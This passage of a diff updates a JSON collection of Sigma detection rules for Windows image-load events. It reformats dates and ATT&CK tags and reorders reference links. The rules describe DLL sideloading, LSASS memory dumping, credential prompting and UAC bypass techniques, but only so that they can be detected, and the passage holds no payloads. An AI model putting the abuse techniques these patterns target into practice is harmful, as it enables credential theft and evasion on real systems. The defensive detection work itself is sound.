"attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1574.001", "attack.t1574.002" ] @@ -68891,7 +68997,7 @@ "description": "Detects potential DLL sideloading of \"MpSvc.dll\".", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), Wietze Beukema", - "creation_date": "2024/07/11", + "creation_date": "2024-07-11", "falsepositive": [ "Legitimate applications loading their own versions of the DLL mentioned in this rule." ], @@ -68904,7 +69010,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_mpsvc.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1574.002" ] }, @@ -68924,7 +69030,7 @@ "description": "Detects potential DLL sideloading of \"mscorsvc.dll\".", "meta": { "author": "Wietze Beukema", - "creation_date": "2024/07/11", + "creation_date": "2024-07-11", "falsepositive": [ "Legitimate applications loading their own versions of the DLL mentioned in this rule." ], @@ -68937,7 +69043,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_mscorsvc.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1574.002" ] }, @@ -68957,7 +69063,7 @@ "description": "Detects potential DLL sideloading of DLLs that are known to be abused from suspicious locations", "meta": { "author": "X__Junior (Nextron Systems)", - "creation_date": "2023/07/11", + "creation_date": "2023-07-11", "falsepositive": [ "Unknown" ], @@ -68966,8 +69072,8 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://www.trendmicro.com/en_us/research/23/f/behind-the-scenes-unveiling-the-hidden-workings-of-earth-preta.html", "https://research.checkpoint.com/2023/beyond-the-horizon-traveling-the-world-on-camaro-dragons-usb-flash-drives/", + "https://www.trendmicro.com/en_us/research/23/f/behind-the-scenes-unveiling-the-hidden-workings-of-earth-preta.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_abused_dlls_susp_paths.yml" ], "tags": [ @@ -68991,7 +69097,7 @@ "description": "Detects the image load of VSS DLL by uncommon executables", "meta": { "author": "frack113", - "creation_date": "2022/10/31", + "creation_date": "2022-10-31", "falsepositive": [ "Unknown" ], @@ -69004,7 +69110,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_vssapi_susp_load.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.impact", "attack.t1490" ] @@ -69025,7 +69131,7 @@ "description": "Detects potential DLL sideloading of \"dbghelp.dll\"", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), Wietze Beukema (project and research)", - "creation_date": "2022/10/25", + "creation_date": "2022-10-25", "falsepositive": [ "Legitimate applications loading their own versions of the DLL mentioned in this rule" ], @@ -69038,9 +69144,9 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_dbghelp.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1574.001", "attack.t1574.002" ] @@ -69068,7 +69174,7 @@ "description": "Detects potential DLL sideloading of \"waveedit.dll\", which is part of the Nero WaveEditor audio editing software.", "meta": { "author": "X__Junior (Nextron Systems)", - "creation_date": "2023/06/14", + "creation_date": "2023-06-14", "falsepositive": [ "Unlikely" ], @@ -69081,8 +69187,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_waveedit.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1574.001", "attack.t1574.002" ] @@ -69110,7 +69216,7 @@ "description": "Detects potential DLL sideloading using JUSTSYSTEMS Japanese word processor", "meta": { "author": "frack113", - "creation_date": "2022/12/14", + "creation_date": "2022-12-14", "falsepositive": [ "Unknown" ], @@ -69124,9 +69230,9 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_jsschhlp.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1574.001", "attack.t1574.002" ] @@ -69154,7 +69260,7 @@ "description": "Detects potential DLL side loading of \"KeyScramblerIE.dll\" by \"KeyScrambler.exe\".\nVarious threat actors and malware have been found side loading a masqueraded \"KeyScramblerIE.dll\" through \"KeyScrambler.exe\".\n", "meta": { "author": "Swachchhanda Shrawan Poudel", - "creation_date": "2024/04/15", + "creation_date": "2024-04-15", "falsepositive": [ "Unknown" ], @@ -69163,16 +69269,16 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ + "https://bazaar.abuse.ch/sample/5cb9876681f78d3ee8a01a5aaa5d38b05ec81edc48b09e3865b75c49a2187831/", "https://twitter.com/Max_Mal_/status/1775222576639291859", - "https://thehackernews.com/2024/03/two-chinese-apt-groups-ramp-up-cyber.html", "https://csirt-cti.net/2024/02/01/stately-taurus-continued-new-information-on-cyberespionage-attacks-against-myanmar-military-junta/", - "https://bazaar.abuse.ch/sample/5cb9876681f78d3ee8a01a5aaa5d38b05ec81edc48b09e3865b75c49a2187831/", + "https://thehackernews.com/2024/03/two-chinese-apt-groups-ramp-up-cyber.html", "https://twitter.com/DTCERT/status/1712785426895839339", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_keyscrambler.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1574.001", "attack.t1574.002" ] @@ -69200,7 +69306,7 @@ "description": "Detects signs of potential use of the WSMAN provider from uncommon processes locally and remote execution.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/06/24", + "creation_date": "2020-06-24", "falsepositive": [ "Unknown" ], @@ -69211,14 +69317,14 @@ "refs": [ "https://github.com/bohops/WSMan-WinRM", "https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/", - "https://twitter.com/chadtilbury/status/1275851297770610688", "https://learn.microsoft.com/en-us/windows/win32/winrm/windows-remote-management-architecture", + "https://twitter.com/chadtilbury/status/1275851297770610688", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wsman_provider_image_load.yml" ], "tags": [ "attack.execution", "attack.t1059.001", - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021.003" ] }, @@ -69245,7 +69351,7 @@ "description": "Detects potential DLL sideloading of \"mfdetours.dll\". While using \"mftrace.exe\" it can be abused to attach to an arbitrary process and force load any DLL named \"mfdetours.dll\" from the current directory of execution.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/08/03", + "creation_date": "2023-08-03", "falsepositive": [ "Unlikely" ], @@ -69258,8 +69364,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_mfdetours.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1574.001", "attack.t1574.002" ] @@ -69287,7 +69393,7 @@ "description": "Detects rundll32 loading a renamed comsvcs.dll to dump process memory", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/14", + "creation_date": "2022-08-14", "falsepositive": [ "Unlikely" ], @@ -69300,8 +69406,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_comsvcs_load_renamed_version_by_rundll32.yml" ], "tags": [ - "attack.credential_access", - "attack.defense_evasion", + "attack.credential-access", + "attack.defense-evasion", "attack.t1003.001" ] }, @@ -69321,7 +69427,7 @@ "description": "Detects potential DLL sideloading of \"wwlib.dll\"", "meta": { "author": "X__Junior (Nextron Systems)", - "creation_date": "2023/05/18", + "creation_date": "2023-05-18", "falsepositive": [ "Unknown" ], @@ -69330,14 +69436,14 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://securelist.com/apt-luminousmoth/103332/", "https://news.sophos.com/en-us/2022/11/03/family-tree-dll-sideloading-cases-may-be-related/", "https://twitter.com/WhichbufferArda/status/1658829954182774784", + "https://securelist.com/apt-luminousmoth/103332/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_wwlib.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1574.001", "attack.t1574.002" ] @@ -69365,7 +69471,7 @@ "description": "Detects potential DLL sideloading of a signed dbghelp.dll by the Sysinternals VMMap.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/09/05", + "creation_date": "2023-09-05", "falsepositive": [ "Unknown" ], @@ -69378,9 +69484,9 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_vmmap_dbghelp_signed.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1574.001", "attack.t1574.002" ] @@ -69408,7 +69514,7 @@ "description": "Detects WMI command line event consumers", "meta": { "author": "Thomas Patzke", - "creation_date": "2018/03/07", + "creation_date": "2018-03-07", "falsepositive": [ "Unknown (data set is too small; further testing needed)" ], @@ -69441,7 +69547,7 @@ "description": "Detects potential DLL sideloading of \"RjvPlatform.dll\" by \"SystemResetPlatform.exe\" located in a non-default location.", "meta": { "author": "X__Junior (Nextron Systems)", - "creation_date": "2023/06/09", + "creation_date": "2023-06-09", "falsepositive": [ "Unlikely" ], @@ -69454,8 +69560,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_rjvplatform_non_default_location.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1574.001", "attack.t1574.002" ] @@ -69483,7 +69589,7 @@ "description": "Detects DLL sideloading of DLLs that are part of third party software (zoom, discord....etc)", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), Wietze Beukema (project and research)", - "creation_date": "2022/08/17", + "creation_date": "2022-08-17", "falsepositive": [ "Unknown" ], @@ -69496,9 +69602,9 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_third_party.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1574.001", "attack.t1574.002" ] @@ -69526,7 +69632,7 @@ "description": "Detect usage of DLL \"coregen.exe\" (Microsoft CoreCLR Native Image Generator) binary to sideload arbitrary DLLs.", "meta": { "author": "frack113", - "creation_date": "2022/12/31", + "creation_date": "2022-12-31", "falsepositive": [ "Unknown" ], @@ -69539,7 +69645,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_coregen.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218", "attack.t1055" ] @@ -69567,7 +69673,7 @@ "description": "Detects potential DLL sideloading of \"SolidPDFCreator.dll\"", "meta": { "author": "X__Junior (Nextron Systems)", - "creation_date": "2023/05/07", + "creation_date": "2023-05-07", "falsepositive": [ "Unknown" ], @@ -69580,8 +69686,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_solidpdfcreator.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1574.001", "attack.t1574.002" ] @@ -69609,7 +69715,7 @@ "description": "Detects the image load of VSS DLL by uncommon executables", "meta": { "author": "frack113", - "creation_date": "2023/02/17", + "creation_date": "2023-02-17", "falsepositive": [ "Unknown" ], @@ -69622,7 +69728,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_vsstrace_susp_load.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.impact", "attack.t1490" ] @@ -69643,7 +69749,7 @@ "description": "Detects DLL sideloading of VMGuestLib.dll by the WmiApSrv service.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/12/01", + "creation_date": "2022-12-01", "falsepositive": [ "FP could occur if the legitimate version of vmGuestLib already exists on the system" ], @@ -69656,9 +69762,9 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_vmguestlib.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1574.001", "attack.t1574.002" ] @@ -69686,7 +69792,7 @@ "description": "Detects signs of the WMI script host process \"scrcons.exe\" loading scripting DLLs which could indicates WMI ActiveScriptEventConsumers EventConsumers activity.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/09/02", + "creation_date": "2020-09-02", "falsepositive": [ "Legitimate event consumers", "Dell computers on some versions register an event consumer that is known to cause false positives when brightness is changed by the corresponding keyboard button" @@ -69696,14 +69802,14 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://twitter.com/HunterPlaybook/status/1301207718355759107", "https://threathunterplaybook.com/hunts/windows/200902-RemoteWMIActiveScriptEventConsumers/notebook.html", "https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-part-1-wmi-event-subscription/", + "https://twitter.com/HunterPlaybook/status/1301207718355759107", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_scrcons_wmi_scripteventconsumer.yml" ], "tags": [ - "attack.lateral_movement", - "attack.privilege_escalation", + "attack.lateral-movement", + "attack.privilege-escalation", "attack.persistence", "attack.t1546.003" ] @@ -69724,7 +69830,7 @@ "description": "Detects image load events of system control panel items (.cpl) from uncommon or non-system locations which might be the result of sideloading.", "meta": { "author": "Anish Bogati", - "creation_date": "2024/01/09", + "creation_date": "2024-01-09", "falsepositive": [ "Unknown" ], @@ -69733,12 +69839,12 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://www.hexacorn.com/blog/2024/01/01/1-little-known-secret-of-hdwwiz-exe/", "https://www.hexacorn.com/blog/2024/01/06/1-little-known-secret-of-fondue-exe/", + "https://www.hexacorn.com/blog/2024/01/01/1-little-known-secret-of-hdwwiz-exe/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_cpl_from_non_system_location.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036" ] }, @@ -69758,7 +69864,7 @@ "description": "Detects any assembly DLL being loaded by an Office Product", "meta": { "author": "Antonlovesdnb", - "creation_date": "2020/02/19", + "creation_date": "2020-02-19", "falsepositive": [ "Unknown" ], @@ -69791,7 +69897,7 @@ "description": "The Fax service attempts to load ualapi.dll, which is non-existent. An attacker can then (side)load their own malicious DLL using this service.", "meta": { "author": "NVISO", - "creation_date": "2020/05/04", + "creation_date": "2020-05-04", "falsepositive": [ "Unlikely" ], @@ -69805,7 +69911,7 @@ ], "tags": [ "attack.persistence", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1574.001", "attack.t1574.002" ] @@ -69833,7 +69939,7 @@ "description": "Detects the \"iscsicpl.exe\" UAC bypass technique that leverages a DLL Search Order hijacking technique to load a custom DLL's from temp or a any user controlled location in the users %PATH%", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/17", + "creation_date": "2022-07-17", "falsepositive": [ "Unknown" ], @@ -69842,13 +69948,13 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://github.com/hackerhouse-opensource/iscsicpl_bypassUAC", "https://twitter.com/wdormann/status/1547583317410607110", + "https://github.com/hackerhouse-opensource/iscsicpl_bypassUAC", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_uac_bypass_iscsicpl.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1548.002" ] }, @@ -69868,7 +69974,7 @@ "description": "Detects loading of essential DLLs used by PowerShell by non-PowerShell process.\nDetects behavior similar to meterpreter's \"load powershell\" extension.\n", "meta": { "author": "Tom Kern, oscd.community, Natalia Shornikova, Tim Shelton, Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2019/11/14", + "creation_date": "2019-11-14", "falsepositive": [ "Used by some .NET binaries, minimal on user workstation.", "Used by Microsoft SQL Server Management Studio" @@ -69903,7 +70009,7 @@ "description": "Detect DLL Load from Spooler Service backup folder", "meta": { "author": "FPT.EagleEye, Thomas Patzke (improvements)", - "creation_date": "2021/06/29", + "creation_date": "2021-06-29", "falsepositive": [ "Loading of legitimate driver" ], @@ -69918,11 +70024,11 @@ ], "tags": [ "attack.persistence", - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1574", - "cve.2021.1675", - "cve.2021.34527" + "cve.2021-1675", + "cve.2021-34527" ] }, "related": [ @@ -69941,7 +70047,7 @@ "description": "Detects potential DLL sideloading of \"goopdate.dll\", a DLL used by googleupdate.exe", "meta": { "author": "X__Junior (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/05/15", + "creation_date": "2023-05-15", "falsepositive": [ "False positives are expected from Google Chrome installations running from user locations (AppData) and other custom locations. Apply additional filters accordingly.", "Other third party chromium browsers located in AppData" @@ -69955,8 +70061,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_goopdate.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1574.001", "attack.t1574.002" ] @@ -69984,7 +70090,7 @@ "description": "Detects windows utilities loading an unsigned or untrusted DLL.\nAdversaries often abuse those programs to proxy execution of malicious code.\n", "meta": { "author": "Swachchhanda Shrawan Poudel", - "creation_date": "2024/02/28", + "creation_date": "2024-02-28", "falsepositive": [ "Unknown" ], @@ -69993,15 +70099,15 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://akhere.hashnode.dev/hunting-unsigned-dlls-using-kql", "https://www.elastic.co/security-labs/Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion", "https://unit42.paloaltonetworks.com/unsigned-dlls/?web_view=true", + "https://akhere.hashnode.dev/hunting-unsigned-dlls-using-kql", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_unsigned_dll.yml" ], "tags": [ "attack.t1218.011", "attack.t1218.010", - "attack.defense_evasion" + "attack.defense-evasion" ] }, "related": [ @@ -70027,7 +70133,7 @@ "description": "Attempts to load dismcore.dll after dropping it", "meta": { "author": "oscd.community, Dmitry Uchakin", - "creation_date": "2020/10/06", + "creation_date": "2020-10-06", "falsepositive": [ "Actions of a legitimate telnet client" ], @@ -70041,8 +70147,8 @@ ], "tags": [ "attack.persistence", - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1548.002", "attack.t1574.002" ] @@ -70070,7 +70176,7 @@ "description": "Detects potential DLL sideloading of \"chrome_frame_helper.dll\"", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), Wietze Beukema (project and research)", - "creation_date": "2022/08/17", + "creation_date": "2022-08-17", "falsepositive": [ "Unknown" ], @@ -70083,9 +70189,9 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_chrome_frame_helper.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1574.001", "attack.t1574.002" ] @@ -70113,7 +70219,7 @@ "description": "Detects potential DLL sideloading of \"roboform.dll\", a DLL used by RoboForm Password Manager", "meta": { "author": "X__Junior (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/05/14", + "creation_date": "2023-05-14", "falsepositive": [ "If installed on a per-user level, the path would be located in \"AppData\\Local\". Add additional filters to reflect this mode of installation" ], @@ -70123,13 +70229,13 @@ "logsource.product": "windows", "refs": [ "https://twitter.com/StopMalvertisin/status/1648604148848549888", - "https://www.roboform.com/", "https://twitter.com/t3ft3lb/status/1656194831830401024", + "https://www.roboform.com/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_robform.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1574.001", "attack.t1574.002" ] @@ -70157,7 +70263,7 @@ "description": "Detects loading of \"RjvPlatform.dll\" by the \"SystemResetPlatform.exe\" binary which can be abused as a method of DLL side loading since the \"$SysReset\" directory isn't created by default.", "meta": { "author": "X__Junior (Nextron Systems)", - "creation_date": "2023/06/09", + "creation_date": "2023-06-09", "falsepositive": [ "Unknown" ], @@ -70170,8 +70276,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_rjvplatform_default_location.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1574.001", "attack.t1574.002" ] @@ -70199,7 +70305,7 @@ "description": "Detects loading of \"credui.dll\" and related DLLs by an uncommon process. Attackers might leverage this DLL for potential use of \"CredUIPromptForCredentials\" or \"CredUnPackAuthenticationBufferW\".", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/10/20", + "creation_date": "2020-10-20", "falsepositive": [ "Other legitimate processes loading those DLLs in your environment." ], @@ -70208,14 +70314,14 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-creduipromptforcredentialsa", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.002/T1056.002.md#atomic-test-2---powershell---prompt-user-for-password", - "https://securitydatasets.com/notebooks/atomic/windows/credential_access/SDWIN-201020013208.html", "https://github.com/S12cybersecurity/RDPCredentialStealer", + "https://learn.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-creduipromptforcredentialsa", + "https://securitydatasets.com/notebooks/atomic/windows/credential_access/SDWIN-201020013208.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_credui_uncommon_process_load.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.collection", "attack.t1056.002" ] @@ -70236,7 +70342,7 @@ "description": "Detects unsigned module load by ClickOnce application.", "meta": { "author": "@SerkinValery", - "creation_date": "2023/06/08", + "creation_date": "2023-06-08", "falsepositive": [ "Unlikely" ], @@ -70269,7 +70375,7 @@ "description": "Detects VB DLL's loaded by an office application. Which could indicate the presence of VBA Macros.", "meta": { "author": "Antonlovesdnb", - "creation_date": "2020/02/19", + "creation_date": "2020-02-19", "falsepositive": [ "Legitimate macro usage. Add the appropriate filter according to your environment" ], @@ -70302,7 +70408,7 @@ "description": "Detects the load of dbghelp/dbgcore DLL (used to make memory dumps) by suspicious processes.\nTools like ProcessHacker and some attacker tradecract use MiniDumpWriteDump API found in dbghelp.dll or dbgcore.dll.\nAs an example, SilentTrynity C2 Framework has a module that leverages this API to dump the contents of Lsass.exe and transfer it over the network back to the attacker's machine.\n", "meta": { "author": "Perez Diego (@darkquassar), oscd.community, Ecco", - "creation_date": "2019/10/27", + "creation_date": "2019-10-27", "falsepositive": [ "Unknown" ], @@ -70311,13 +70417,13 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ + "https://medium.com/@fsx30/bypass-edrs-memory-protection-introduction-to-hooking-2efb21acffd6", "https://learn.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump", "https://www.pinvoke.net/default.aspx/dbghelp/MiniDumpWriteDump.html", - "https://medium.com/@fsx30/bypass-edrs-memory-protection-introduction-to-hooking-2efb21acffd6", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_dbghelp_dbgcore_unsigned_load.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.001" ] }, @@ -70337,7 +70443,7 @@ "description": "Detects DLL sideloading of unsigned \"mfdetours.dll\". Executing \"mftrace.exe\" can be abused to attach to an arbitrary process and force load any DLL named \"mfdetours.dll\" from the current directory of execution.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/08/11", + "creation_date": "2023-08-11", "falsepositive": [ "Unlikely" ], @@ -70350,8 +70456,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_mfdetours_unsigned.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1574.001", "attack.t1574.002" ] @@ -70379,7 +70485,7 @@ "description": "Detects processes loading modules related to PCRE.NET package", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/10/29", + "creation_date": "2020-10-29", "falsepositive": [ "Unknown" ], @@ -70388,8 +70494,8 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://twitter.com/tifkin_/status/1321916444557365248", "https://twitter.com/rbmaslen/status/1321859647091970051", + "https://twitter.com/tifkin_/status/1321916444557365248", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_pcre_dotnet_dll_load.yml" ], "tags": [ @@ -70413,7 +70519,7 @@ "description": "Detects loading and execution of an unsigned thor scanner binary.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/10/29", + "creation_date": "2023-10-29", "falsepositive": [ "Other legitimate binaries named \"thor.exe\" that aren't published by Nextron Systems" ], @@ -70426,7 +70532,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_thor_unsigned_execution.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1574.002" ] }, @@ -70446,7 +70552,7 @@ "description": "Detects potential DLL sideloading of \"libvlc.dll\", a DLL that is legitimately used by \"VLC.exe\"", "meta": { "author": "X__Junior", - "creation_date": "2023/04/17", + "creation_date": "2023-04-17", "falsepositive": [ "False positives are expected if VLC is installed in non-default locations" ], @@ -70455,14 +70561,14 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://www.trendmicro.com/en_us/research/23/c/earth-preta-updated-stealthy-strategies.html", "https://hijacklibs.net/entries/3rd_party/vlc/libvlc.html", + "https://www.trendmicro.com/en_us/research/23/c/earth-preta-updated-stealthy-strategies.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_libvlc.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1574.001", "attack.t1574.002" ] @@ -70490,7 +70596,7 @@ "description": "Detects potential DLL sideloading activity via the Aruba Networks Virtual Intranet Access \"arubanetsvc.exe\" process using DLL Search Order Hijacking", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/22", + "creation_date": "2023-01-22", "falsepositive": [ "Unknown" ], @@ -70503,7 +70609,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_aruba_networks_virtual_intranet_access.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.persistence", "attack.t1574.001", "attack.t1574.002" @@ -70532,7 +70638,7 @@ "description": "Detects potential DLL sideloading of \"ShellDispatch.dll\"", "meta": { "author": "X__Junior (Nextron Systems)", - "creation_date": "2023/06/20", + "creation_date": "2023-06-20", "falsepositive": [ "Some installers may trigger some false positives" ], @@ -70545,8 +70651,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_shelldispatch.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1574.001", "attack.t1574.002" ] @@ -70574,7 +70680,7 @@ "description": "Detects CLR DLL being loaded by an Office Product", "meta": { "author": "Antonlovesdnb", - "creation_date": "2020/02/19", + "creation_date": "2020-02-19", "falsepositive": [ "Unknown" ], @@ -70607,7 +70713,7 @@ "description": "Detects loading of \"Amsi.dll\" by a living of the land process. This could be an indication of a \"PowerShell without PowerShell\" attack", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/06/01", + "creation_date": "2023-06-01", "falsepositive": [ "Unknown" ], @@ -70621,7 +70727,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_amsi_suspicious_process.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "6ec86d9e-912e-4726-91a2-209359b999b9", @@ -70631,7 +70737,7 @@ "description": "Detects potential DLL sideloading using comctl32.dll to obtain system privileges", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), Subhash Popuri (@pbssubhash)", - "creation_date": "2022/12/16", + "creation_date": "2022-12-16", "falsepositive": [ "Unlikely" ], @@ -70645,9 +70751,9 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_comctl32.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1574.001", "attack.t1574.002" ] @@ -70675,7 +70781,7 @@ "description": "Detects the image load of \"Python Core\" by a non-Python process. This might be indicative of a Python script bundled with Py2Exe.", "meta": { "author": "Patrick St. John, OTR (Open Threat Research)", - "creation_date": 